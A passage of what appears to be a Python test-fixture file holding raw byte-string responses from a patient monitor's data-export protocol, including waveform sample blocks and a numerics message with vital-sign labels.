b"\x06\x1f\x06\x1d\x06\x1a\x06\x15\x06\x0e\x06\x05\x05\xfb\x05\xef" \
b"\x05\xe0\x05\xd0\x05\xbe\x05\xab\x05\x95\x05\x7f\x05\x66\x05\x4d" \
b"\x05\x33\x05\x18\x04\xfc\x04\xe1\x04\xc6\x04\xab\x04\x91\x04\x78" \
b"\x04\x60\x04\x4b\x04\x37\x04\x26\x04\x18\x04\x0d\x04\x05\x04\x01"
rsp_wave_5_no_2 = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x03\xb0\x00\x04\x00\x07\x03\xaa\x00\x21\x00\x00\x00\x00\xf1\x3b" \
b"\x03\xa0\x00\x03\x00\x01\x0e\x80\x08\x00\xff\xff\xff\xff\xff\xff" \
b"\xff\xff\x00\x01\x00\x09\x00\x00\x00\x01\x03\x86\x00\x00\x00\x04" \
b"\x03\x80\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x02\x04\x00" \
b"\x01\x00\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x01\x04\x00" \
b"\x01\x00\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x3d\x04\x00" \
b"\x01\x00\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x07\x8e\x00\x01\x00\x4a\x09\x6e\x00\x46\x4b\xb4\x04\x00" \
b"\x00\x40\x04\x00\x04\x04\x04\x0b\x04\x18\x04\x28\x04\x3e\x04\x57" \
b"\x04\x76\x04\x99\x04\xc0\x04\xec\x05\x1d\x05\x51\x05\x89\x05\xc5" \
b"\x06\x05\x06\x47\x06\x8c\x06\xd3\x07\x1c\x07\x67\x07\xb3\x07\xff" \
b"\x08\x4c\x08\x99\x08\xe4\x09\x2f\x09\x78\x09\xbf\x0a\x03\x0a\x44" \
b"\x0a\x83"
rsp_wave_5_no_3 = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x03\xb0\x00\x04\x00\x07\x03\xaa\x00\x21\x00\x00\x00\x00\xf1\x3b" \
b"\x03\xa0\x00\x03\x00\x02\x0e\x80\x10\x00\xff\xff\xff\xff\xff\xff" \
b"\xff\xff\x00\x01\x00\x09\x00\x00\x00\x01\x03\x86\x00\x00\x00\x04" \
b"\x03\x80\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x02\x04\x00" \
b"\x01\x00\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\xa1\x94\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xff\x20\x04\x20\x0c\x20\x14\x20\x1c\x20\x26\x20\x2f" \
b"\x20\x38\x20\x42\x20\x4b\x20\x55\x20\x5e\x20\x68\x20\x71\x20\x7a" \
b"\x20\x83\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x01\x04\x00" \
b"\x01\x00\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\xa0\x84\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfe\x20\x00\x20\x02\x20\x06\x20\x08\x20\x0b" \
b"\x20\x0e\x20\x10\x20\x13\x20\x17\x20\x18\x20\x1a\x20\x1d\x20\x20" \
b"\x20\x23\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x3d\x04\x00" \
b"\x01\x00\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\xa1\x04\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x20\x01\x20\x05\x20\x0b\x20\x11\x20\x15\x20\x1d\x20\x23" \
b"\x20\x29\x20\x31\x20\x37\x20\x3d\x20\x45\x20\x4d\x20\x53\x20\x59" \
b"\x20\x5f\x07\x8e\x00\x01\x00\x4a\x09\x6e\x00\x46\x4b\xb4\x04\x00" \
b"\x00\x40\x0a\xbd\x0a\xf3\x0b\x25\x0b\x53\x0b\x7b\x0b\x9f\x0b\xbd" \
b"\x0b\xd5\x0b\xe8\x0b\xf6\x0b\xfe\x0c\x00\x0b\xfc\x0b\xf3\x0b\xe5" \
b"\x0b\xd2\x0b\xba\x0b\x9d\x0b\x7b\x0b\x56\x0b\x2c\x0b\x00\x0a\xd0" \
b"\x0a\x9d\x0a\x68\x0a\x31\x09\xf9\x09\xbf\x09\x85\x09\x4b\x09\x10" \
b"\x08\xd7"
rsp_wave_5_no_4 = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x03\xb0\x00\x04\x00\x07\x03\xaa\x00\x21\x00\x00\x00\x00\xf1\x3b" \
b"\x03\xa0\x00\x03\x00\x03\x0e\x80\x18\x00\xff\xff\xff\xff\xff\xff" \
b"\xff\xff\x00\x01\x00\x09\x00\x00\x00\x01\x03\x86\x00\x00\x00\x04" \
b"\x03\x80\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x02\x04\x00" \
b"\x01\x00\x20\x8d\x20\x96\x20\x9f\x20\xa8\x20\xad\x20\xab\x20\xa6" \
b"\x20\x9e\x20\x95\x20\x8c\x20\x82\x20\x78\x20\x6e\x20\x63\x20\x59" \
b"\x20\x4f\x20\x45\x20\x3a\x20\x30\x20\x26\x20\x1c\x20\x12\x20\x08" \
b"\x1f\xff\x1f\xf7\x1f\xf3\x1f\xf0\x1f\xee\x1f\xed\x1f\xed\x1f\xec" \
b"\x1f\xec\x1f\xed\x1f\xed\x1f\xed\x1f\xed\x1f\xed\x1f\xed\x1f\xed" \
b"\x1f\xed\x1f\xed\x1f\xee\x1f\xee\x1f\xee\x1f\xee\x1f\xee\x1f\xee" \
b"\x1f\xee\x1f\xee\x1f\xef\x1f\xef\x1f\xef\x1f\xef\x1f\xef\x1f\xef" \
b"\x1f\xef\x1f\xef\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf0" \
b"\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf1\x1f\xf1\x1f\xf1" \
b"\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1" \
b"\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf2\x1f\xf2\x1f\xf2" \
b"\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2" \
b"\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf4\x1f\xf4\x1f\xf4" \
b"\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4" \
b"\x1f\xf4\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x01\x04\x00" \
b"\x01\x00\x20\x25\x20\x28\x20\x2b\x20\x2e\x20\x31\x20\x33\x20\x30" \
b"\x20\x30\x20\x2d\x20\x2a\x20\x28\x20\x26\x20\x22\x20\x1f\x20\x1d" \
b"\x20\x19\x20\x17\x20\x14\x20\x12\x20\x0e\x20\x0c\x20\x0a\x20\x06" \
b"\x20\x03\x20\x01\x1f\xff\x1f\xfe\x1f\xfe\x1f\xfd\x1f\xfd\x1f\xfc" \
b"\x1f\xfc\x1f\xfb\x1f\xfb\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc" \
b"\x1f\xfc\x1f\xfc\x1f\xfb\x1f\xfb\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc" \
b"\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfe\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xff\x1f\xfe\x1f\xfe\x1f\xfe" \
b"\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe" \
b"\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x20\x00\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x20\x01\x20\x00\x20\x00\x20\x00" \
b"\x20\x00\x20\x00\x20\x00\x20\x00\x20\x00\x20\x00\x20\x00\x20\x00" \
b"\x20\x00\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x3d\x04\x00" \
b"\x01\x00\x20\x67\x20\x6d\x20\x73\x20\x79\x20\x7b\x20\x77\x20\x75" \
b"\x20\x6d\x20\x67\x20\x61\x20\x59\x20\x51\x20\x4b\x20\x43\x20\x3b" \
b"\x20\x35\x20\x2d\x20\x25\x20\x1d\x20\x17\x20\x0f\x20\x07\x20\x01" \
b"\x1f\xfb\x1f\xf5\x1f\xf3\x1f\xf1\x1f\xef\x1f\xef\x1f\xef\x1f\xef" \
b"\x1f\xef\x1f\xf1\x1f\xf1\x1f\xef\x1f\xef\x1f\xef\x1f\xef\x1f\xef" \
b"\x1f\xef\x1f\xef\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1" \
b"\x1f\xf1\x1f\xf1\x1f\xf3\x1f\xf3\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1" \
b"\x1f\xf1\x1f\xf1\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf1\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf1\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf1\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf1\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x07\x8e\x00\x01\x00\x4a\x09\x6e\x00\x46\x4b\xb4\x04\x00" \
b"\x00\x40\x08\x9e\x08\x66\x08\x30\x07\xfb\x07\xc9\x07\x99\x07\x6b" \
b"\x07\x40\x07\x18\x06\xf3\x06\xd2\x06\xb3\x06\x97\x06\x7f\x06\x69" \
b"\x06\x57\x06\x47\x06\x3a\x06\x2f\x06\x27\x06\x21\x06\x1d\x06\x1a" \
b"\x06\x19\x06\x19\x06\x1a\x06\x1b\x06\x1d\x06\x1e\x06\x20\x06\x20" \
b"\x06\x20"
rsp_nu_6_no_1 = \
b"\xe1\x00\x00\x02\x00\x05" \
b"\x04\x1c\x01\x01\x00\x01\x00\x07\x04\x14\x00\x21\x00\x00\x00\x00" \
b"\xf1\x3b\x04\x0a\x00\x01\x00\x00\x0e\x80\x4f\x00\xff\xff\xff\xff" \
b"\xff\xff\xff\xff\x00\x01\x00\x06\x00\x00\x00\x01\x03\xf0\x00\x00" \
b"\x00\x0a\x03\xea\x86\x3f\x00\x07\x00\x46\x09\x21\x00\x02\x86\x3f" \
b"\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00" \
b"\x00\x01\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x58\x04" \
b"\x09\x27\x00\x10\x00\x0e\x00\x43\x00\x50\x00\x50\x00\x20\x00\x20" \
b"\x00\x20\x00\x00\x09\x17\x00\x02\x03\x00\x09\x11\x00\x02\x00\x05" \
b"\x86\x58\x00\x07\x00\x46\x09\x21\x00\x02\x86\x58\x09\x2f\x00\x04" \
b"\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28" \
b"\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\xe0\x18\x09\x27\x00\x10" \
b"\x00\x0e\x03\x94\x6e\x29\xfe\xff\x5e\xa6\xfe\xff\x00\x20\x00\x00" \
b"\x09\x17\x00\x02\x03\x01\x09\x11\x00\x02\x00\x02\x87\x8c\x00\x09" \
b"\x00\x5a\x09\x21\x00\x02\x87\x8c\x09\x2f\x00\x04\x00\x01\x00\x06" \
b"\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00\x00\x00" \
b"\x09\x24\x00\x04\x00\x02\x4b\xb8\x09\x27\x00\x10\x00\x0e\x00\x53" \
b"\x00\x70\x00\x4f\x20\x82\x00\x20\x00\x20\x00\x00\x09\x17\x00\x02" \
b"\x03\x00\x09\x11\x00\x02\x00\x06\xf0\x08\x00\x02\x06\xd1\x09\x50" \
b"\x00\x0a\x4b\xb8\x04\x00\x02\x20\xff\x00\x03\xb6\x87\x92\x00\x07" \
b"\x00\x4e\x09\x21\x00\x02\x87\x92\x09\x2f\x00\x04\x00\x01\x00\x06" \
b"\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00\x00\x00" \
b"\x09\x24\x00\x04\x00\x02\x48\x22\x09\x27\x00\x10\x00\x0e\x81\x09" \
b"\xfe\xff\x64\x0f\xfe\xff\x00\x20\x00\x20\x00\x00\x09\x11\x00\x02" \
b"\x00\x06\x09\x50\x00\x0a\x48\x22\x04\x01\x0a\xa0\x00\x00\x00\x3c" \
b"\x87\x96\x00\x08\x00\x54\x09\x21\x00\x02\x87\x96\x09\x2f\x00\x04" \
b"\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28" \
b"\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x4b\xb0\x09\x27\x00\x10" \
b"\x00\x0e\x70\x4c\xfe\xff\x6c\xe8\xfe\xff\x00\x20\x00\x20\x00\x00" \
b"\x09\x17\x00\x02\x02\x01\x09\x11\x00\x02\x00\x06\x09\x50\x00\x0a" \
b"\x4b\xb0\x04\x00\x02\x00\xff\x00\x00\x64\x87\xe6\x00\x0a\x00\x82" \
b"\x09\x21\x00\x02\x87\xe6\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f" \
b"\x00\x0c\x00\x00\x20\x00\x00\x01\x52\x28\x01\x03\x00\x00\x09\x24" \
b"\x00\x04\x00\x02\x4a\x04\x09\x27\x00\x10\x00\x0e\x00\x4e\x00\x42" \
b"\x00\x50\x00\x20\x00\x20\x00\x20\x00\x00\x09\x11\x00\x02\x00\x01" \
b"\x09\x90\x00\x08\x20\x19\x03\x21\x16\x30\x43\x00\xf2\x37\x00\x04" \
b"\xff\xff\xff\xff\xf9\x98\x00\x04\xff\xff\xff\xff\x09\x4b\x00\x22" \
b"\x00\x03\x00\x1e\x4a\x05\x20\x00\x0f\x20\x00\x7f\xff\xff\x4a\x06" \
b"\x20\x00\x0f\x20\x00\x7f\xff\xff\x4a\x07\x20\x00\x0f\x20\x00\x7f" \
b"\xff\xff\x87\xe9\x00\x0a\x00\x68\x09\x21\x00\x02\x87\xe9\x09\x2f" \
b"\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01" \
b"\x52\x28\x00\x01\x00\x00\x09\x24\x00\x04\x00\x02\xf0\xe5\x09\x27" \
b"\x00\x10\x00\x0e\x81\x09\xfe\xff\x64\x0f\xfe\xff\x00\x20\x00\x20" \
b"\x00\x00\x09\x17\x00\x02\x03\x00\x09\x11\x00\x02\x00\x01\x09\x90" \
b"\x00\x08\x20\x19\x03\x21\x16\x30\x43\x00\xf9\x98\x00\x04\xff\xff" \
b"\xff\xff\x09\x50\x00\x0a\xf0\xe5\x20\x00\x0a\xa0\x00\x7f\xff\xff" \
b"\x88\x16\x00\x07\x00\x4e\x09\x21\x00\x02\x88\x16\x09\x2f\x00\x04" \
b"\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28" \
b"\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x41\x82\x09\x27\x00\x10" \
b"\x00\x0e\x00\x48\x00\x52\x00\x20\x00\x20\x00\x20\x00\x20\x00\x00" \
b"\x09\x11\x00\x02\x00\x02\x09\x50\x00\x0a\x41\x82\x04\x00\x0a\xa0" \
b"\x00\x00\x00\x3c\x88\x1d\x00\x07\x00\x4e\x09\x21\x00\x02\x88\x1d" \
b"\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00" \
b"\x00\x01\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x50\x0a" \
b"\x09\x27\x00\x10\x00\x0e\x00\x52\x00\x52\x00\x20\x00\x20\x00\x20" \
b"\x00\x20\x00\x00\x09\x11\x00\x02\x00\x03\x09\x50\x00\x0a\x50\x0a" \
b"\x04\x00\x0a\xe0\x00\x00\x00\x0f\x88\x22\x00\x08\x00\xa0\x09\x21" \
b"\x00\x02\x88\x22\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c" \
b"\x00\x00\x20\x00\x00\x01\x42\x28\x01\x0c\x00\x00\x09\x24\x00\x04" \
b"\x00\x02\x03\x00\x09\x27\x00\x10\x00\x0e\x00\x53\x00\x54\x00\x20" \
